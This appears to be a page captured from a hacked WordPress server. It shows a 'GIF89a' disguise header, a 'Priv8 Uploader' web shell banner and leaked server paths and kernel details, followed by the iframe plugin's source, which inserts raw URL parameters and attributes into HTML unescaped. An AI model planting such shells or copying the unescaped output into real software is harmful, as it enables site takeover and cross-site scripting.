GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
<?php
/*
Plugin Name: iframe
Plugin URI: http://wordpress.org/plugins/iframe/
Description: [iframe src="http://www.youtube.com/embed/A3PDXmYoF5U" width="100%" height="480"] shortcode
Version: 2.9
Author: webvitaly
Author URI: http://web-profile.com.ua/wordpress/plugins/
License: GPLv3
*/
if ( ! function_exists( 'iframe_unqprfx_embed_shortcode' ) ) :
function iframe_unqprfx_enqueue_script() {
wp_enqueue_script( 'jquery' );
}
add_action( 'wp_enqueue_scripts', 'iframe_unqprfx_enqueue_script' );
function iframe_unqprfx_embed_shortcode( $atts, $content = null ) {
$defaults = array(
'src' => 'http://www.youtube.com/embed/A3PDXmYoF5U',
'width' => '100%',
'height' => '480',
'scrolling' => 'no',
'class' => 'iframe-class',
'frameborder' => '0'
);
foreach ( $defaults as $default => $value ) { // add defaults
if ( ! @array_key_exists( $default, $atts ) ) { // hide warning with "@" when no params at all
$atts[$default] = $value;
}
}
// get_params_from_url
if ( isset( $atts["get_params_from_url"] ) && ( $atts["get_params_from_url"] == '1' || $atts["get_params_from_url"] == 1 ) ) {
$encode_string = '';
if ( $_GET != NULL ) {
if ( strpos( $atts["src"], '?' ) ) { // if we already have '?' and GET params
$encode_string = '&';
} else {
$encode_string = '?';
}
foreach( $_GET as $key => $value ) {
$encode_string .= $key.'='.$value.'&';
}
}
$encode_string = rtrim($encode_string, '&'); // remove last '&'
$atts["src"] .= $encode_string;
}
$html = '';
if ( isset( $atts["same_height_as"] ) ) {
$same_height_as = $atts["same_height_as"];
} else {
$same_height_as = '';
}
if ( $same_height_as != '' ) {
$atts["same_height_as"] = '';
if ( $same_height_as != 'content' ) { // we are setting the height of the iframe like as target element
if ( $same_height_as == 'document' || $same_height_as == 'window' ) { // remove quotes for window or document selectors
$target_selector = $same_height_as;
} else {
$target_selector = '"' . $same_height_as . '"';
}
$html .= '
<script>
jQuery(function($){
var target_height = $(' . $target_selector . ').height();
$("iframe.' . $atts["class"] . '").height(target_height);
});
</script>
';
} else { // set the actual height of the iframe (show all content of the iframe without scroll)
$html .= '
<script>
jQuery(function($){
$("iframe.' . $atts["class"] . '").bind("load", function() {
var embed_height = $(this).contents().find("body").height();
$(this).height(embed_height);
});
});
</script>
';
}
}
$html .= "\n".'<!-- iframe plugin v.2.9 wordpress.org/plugins/iframe/ -->'."\n";
$html .= '<iframe';
foreach( $atts as $attr => $value ) {
if ( $attr != 'same_height_as' ) { // remove some attributes
if ( $value != '' ) { // adding all attributes
$html .= ' ' . $attr . '="' . $value . '"';
} else { // adding empty attributes
$html .= ' ' . $attr;
}
}
}
$html .= '></iframe>'."\n";
return $html;
}
add_shortcode( 'iframe', 'iframe_unqprfx_embed_shortcode' );
function iframe_unqprfx_plugin_meta( $links, $file ) { // add 'Plugin page' and 'Donate' links to plugin meta row
if ( strpos( $file, 'iframe.php' ) !== false ) {
$links = array_merge( $links, array( '<a href="http://web-profile.com.ua/wordpress/plugins/iframe/" title="Plugin page">Iframe</a>' ) );
$links = array_merge( $links, array( '<a href="http://web-profile.com.ua/donate/" title="Support the development">Donate</a>' ) );
}
return $links;
}
add_filter( 'plugin_row_meta', 'iframe_unqprfx_plugin_meta', 10, 2 );
endif; // end of (function_exists('iframe_unqprfx_embed_shortcode'))